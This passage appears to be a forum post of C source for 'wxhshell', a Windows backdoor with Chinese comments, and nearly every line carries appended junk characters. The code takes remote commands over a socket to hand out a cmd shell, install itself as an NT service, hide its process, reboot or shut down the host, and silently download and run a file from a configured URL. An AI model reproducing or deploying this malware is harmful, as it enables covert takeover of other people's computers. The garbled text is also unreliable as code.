  else { P=\{  
P".IW.^kk~  
    switch(cmd[0]) { 4v3gpLH  
  x;\/Xj ;  
  // 帮助 F"O\uo:3  
  case '?': { eF9GhwE=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b78~{h t`  
    break; IF\ @uo`  
  } 2lOUNxQ$  
  // 安装 =WBfaxL}  
  case 'i': { DuZZu  
    if(Install()) Q~VM.G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /kg#i&bP~  
    else Gn_DIFa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (V]3w  
    break; P)J-'2{  
    } 't0M+_J  
  // 卸载 +@?'dw  
  case 'r': { uLWu. Vx  
    if(Uninstall()) hpPacN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y$SUYG'v  
    else |5O>7~Tp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $~W5! m  
    break; }u=Oi@~  
    } ^2+ Vt=*  
  // 显示 wxhshell 所在路径 D&D6!jz  
  case 'p': { "QiR  
    char svExeFile[MAX_PATH]; lv'WRS'}  
    strcpy(svExeFile,"\n\r"); '?L^Fa_H  
      strcat(svExeFile,ExeFile); kLZVTVSJt  
        send(wsh,svExeFile,strlen(svExeFile),0); ]+W){W=ai  
    break; V K 7  
    } ,w H~.LHi  
  // 重启 F P|cA^$<  
  case 'b': { *4}NLUVX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?4Rd4sIM$u  
    if(Boot(REBOOT)) m m`#v g,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Q/^ib9=  
    else { /#H P;>!n  
    closesocket(wsh); =\5WYC  
    ExitThread(0); G[yzi  
    } #~"IlBk\  
    break; ,_Bn{T=U  
    } MJ1qU}+]  
  // 关机 tZz%x?3G  
  case 'd': { ]rH[+t-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?X@[ibH6  
    if(Boot(SHUTDOWN)) %oTBh*K'o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x5BS|3W$a  
    else { X3 kFJ{  
    closesocket(wsh); F}ATY!  
    ExitThread(0); TnK<Wba  
    } %HoD)OJe  
    break; &{a!)I>  
    } 6AG]7d<  
  // 获取shell UGy3 B)  
  case 's': { (EY@{'.&  
    CmdShell(wsh); 3?]81v/  
    closesocket(wsh); h%ys::\zF  
    ExitThread(0); Y6VJr+Ap(  
    break; A#T"4'#?<  
  } PENB5+1OK  
  // 退出 !V3+(o 1  
  case 'x': { L%is"NZh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d$3md<lIB  
    CloseIt(wsh); >{tn2Fkg>  
    break; 6{=U= *  
    } wTU$jd1;+  
  // 离开 w|s2f`!  
  case 'q': { n-cI~Ax+4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `hkvxt  
    closesocket(wsh); O& Sk}^  
    WSACleanup(); $jE<n/8  
    exit(1); E OXkMr  
    break; <KU 0K  
        } hQm=9gS  
  } {/,(F^T>2  
  } [07E-TT2U  
zdrP56rzZ  
  // 提示信息 D5@=#/?*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^]R_t@  
} VPYLDg.'  
  } *m+FMyr  
8^y=YUT  
  return; s_IFl5D]  
} _Fa\y ZX  
Jj>Rzj!m  
// shell模块句柄 ~^Cx->l  
int CmdShell(SOCKET sock) A'z]?xQR  
{ Ia}qDGqPp!  
STARTUPINFO si; h$!YKfhq}  
ZeroMemory(&si,sizeof(si)); ZY`9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uq#2~0n>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Tp k1  
PROCESS_INFORMATION ProcessInfo; 3Z9Yzv)A  
char cmdline[]="cmd"; 92<+ug=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =+MF@ 4  
  return 0; JP<j4/  
} M1-tRF  
sPvs}}Z]P  
// 自身启动模式 mB_?N $K  
int StartFromService(void) pxTtV g.  
{ ;QXg*GNAv$  
typedef struct :5%98V>02  
{ #C&';HB;y  
  DWORD ExitStatus; s_NY#MPz[  
  DWORD PebBaseAddress; X1.-C@o  
  DWORD AffinityMask; '2lzMc>wvP  
  DWORD BasePriority; 0<!9D):Bb  
  ULONG UniqueProcessId; q& -mbWBj  
  ULONG InheritedFromUniqueProcessId; PljPhAce  
}   PROCESS_BASIC_INFORMATION; xn2nh@;  
vkTu:3Qe  
PROCNTQSIP NtQueryInformationProcess; 4uOR=+/l  
2 {b/*w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K-TsSW$}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -@(LN%7!C  
%"mI["{  
  HANDLE             hProcess; q*&H  
  PROCESS_BASIC_INFORMATION pbi; &@oI/i&0B  
]j>xQm\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uK"  T~  
  if(NULL == hInst ) return 0; oqF?9<Vgc,  
%akW43cE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GuR^L@+ -.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f )T\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k+ t(u]  
OXrm!'  
  if (!NtQueryInformationProcess) return 0; iRsB|7v[,  
l}L81t7f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aH1CX<3)~  
  if(!hProcess) return 0; z)C/U  
i6_}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ct)58f2  
"D.<~!  
  CloseHandle(hProcess); Sz Mh  
]Wkgpfd56  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5`p9Xo>)yW  
if(hProcess==NULL) return 0; yR>P  
j_so s%-  
HMODULE hMod; 62R";# K  
char procName[255]; K{DC{yLu  
unsigned long cbNeeded; N=1ue`i  
ZEI)U, I.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~@c<5 -`{  
(7G4v  
  CloseHandle(hProcess); E42)93~C  
rt*x[5<  
if(strstr(procName,"services")) return 1; // 以服务启动 <WIIurp  
b:F;6X0~Hl  
  return 0; // 注册表启动 PEvY3F}_rh  
} [oU\l+t  
tI{]&dev  
// 主模块 Uyb0iQ-,s  
int StartWxhshell(LPSTR lpCmdLine) iZn0B5]ikj  
{ O^~IY/[  
  SOCKET wsl; L3Y,z3/  
BOOL val=TRUE; ;9z|rWsF  
  int port=0; 3XQa%|N(  
  struct sockaddr_in door; b V  EJ  
%RV81H9B  
  if(wscfg.ws_autoins) Install(); >b2!&dm  
~_EDJp1J  
port=atoi(lpCmdLine); y`n?f|nf  
o:QL%J{[  
if(port<=0) port=wscfg.ws_port; vz4( k/  
,K,st+s|  
  WSADATA data; s>6h]H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HN5661;8  
uluAqDz`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pCIS8 2L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0R)x"4Ww  
  door.sin_family = AF_INET; p($vM^_<"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %9>w|%+;U+  
  door.sin_port = htons(port); $t%IJT  
z<55[~3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BZW03e8|  
closesocket(wsl); phu,&DS!  
return 1; 8HKv_vl  
} !rRBy3&  
s*Qyd{"z  
  if(listen(wsl,2) == INVALID_SOCKET) { y-+W  
closesocket(wsl); N0S^{j,i  
return 1; ;VKWY  
} t~ {O)tt  
  Wxhshell(wsl); (5!'42  
  WSACleanup(); qa^cJ1@  
Kc\8GkdB  
return 0; nIg 88*6b,  
LnE/62){N  
} ,7@\e &/&  
X,w X)9]J  
// 以NT服务方式启动 }BC%(ZH6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [>v1JN  
{ Cqnuf5e>L  
DWORD   status = 0; aH. "| *.  
  DWORD   specificError = 0xfffffff; 1=J& ^O{W  
i5TGK#3o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \|S%zX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4:rwzRDY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; flPS+  
  serviceStatus.dwWin32ExitCode     = 0; KR$Fd  
  serviceStatus.dwServiceSpecificExitCode = 0; 14'\@xJMM  
  serviceStatus.dwCheckPoint       = 0; x$-kw{N  
  serviceStatus.dwWaitHint       = 0; -/?)0E  
iz-z?)%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q~9-A+n  
  if (hServiceStatusHandle==0) return; kV1L.Xg  
5vLXMdN  
status = GetLastError(); ;'{7wr|9  
  if (status!=NO_ERROR) +ytP5K7  
{ q~> +x?30  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y!xPmL^]?  
    serviceStatus.dwCheckPoint       = 0; ~b]enG5xS4  
    serviceStatus.dwWaitHint       = 0; >gp53\  
    serviceStatus.dwWin32ExitCode     = status; v)O0i2  
    serviceStatus.dwServiceSpecificExitCode = specificError; PoaCnoNS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kZG=C6a  
    return; KE,.Evyu=  
  } /o4e n  
4o}{3 ! m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bX2BEa8<"  
  serviceStatus.dwCheckPoint       = 0; A4f"v)vM  
  serviceStatus.dwWaitHint       = 0; @Pcgm"H<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m"~ddqSMT  
} crv#IC2  
nV8'QDQ:Al  
// 处理NT服务事件,比如:启动、停止 TXi|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :7LA/j  
{ m?Y-1!E0  
switch(fdwControl) ~RVlc;W  
{ EY"of[p  
case SERVICE_CONTROL_STOP: zp8x/,gwF  
  serviceStatus.dwWin32ExitCode = 0; P+f}r^4}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kfb(wW  
  serviceStatus.dwCheckPoint   = 0; [j/|)cj  
  serviceStatus.dwWaitHint     = 0; mQ`atFz:Z  
  { wY ItG"+6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T9$~tv,5F  
  } t,De/L  
  return; vNjc  
case SERVICE_CONTROL_PAUSE: [z!m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r2#G|/=@  
  break; a&JY x  
case SERVICE_CONTROL_CONTINUE: 3}\z&|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /g>-s&w  
  break; y%vAEQ2j=  
case SERVICE_CONTROL_INTERROGATE: `0ym3}(O  
  break; !T<,fR+8X  
}; @@*x/"GJG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E\D,=|Mul  
} Zo2+{a  
H4`>B>\  
// 标准应用程序主函数 .pPuBJL]<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b|AjB:G  
{ wzy[sB274  
J#C4A]A  
// 获取操作系统版本 +#wVe  
OsIsNt=GetOsVer(); ?n{m2.H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "=DQ {(L  
WwsNAJ  
  // 从命令行安装 1f+A_k/@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,X3D< wl  
e^ N~)Nlj  
  // 下载执行文件 #"-_~  
if(wscfg.ws_downexe) { KH#z =_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y2+f)Xp_.C  
  WinExec(wscfg.ws_filenam,SW_HIDE); OD7A(28  
} 0B8Wf/j?M  
BTwc(oL  
if(!OsIsNt) { S}rEQGGR{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ahg P"Qz  
HideProc(); <k8WnA ~Fl  
StartWxhshell(lpCmdLine); T+T)~!{%  
} F1BvDplQ>G  
else wowf 1j-  
  if(StartFromService()) Vq0X:<9  
  // 以服务方式启动 F_:W u,dUZ  
  StartServiceCtrlDispatcher(DispatchTable); cr-5t4<jK  
else KJJ:fG8'  
  // 普通方式启动 {wM<i  
  StartWxhshell(lpCmdLine); XE_Lz2H`  
lfb+)s  
return 0; #akJhy@m$  
}
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只看该作者 1 发表于: 2006-10-10
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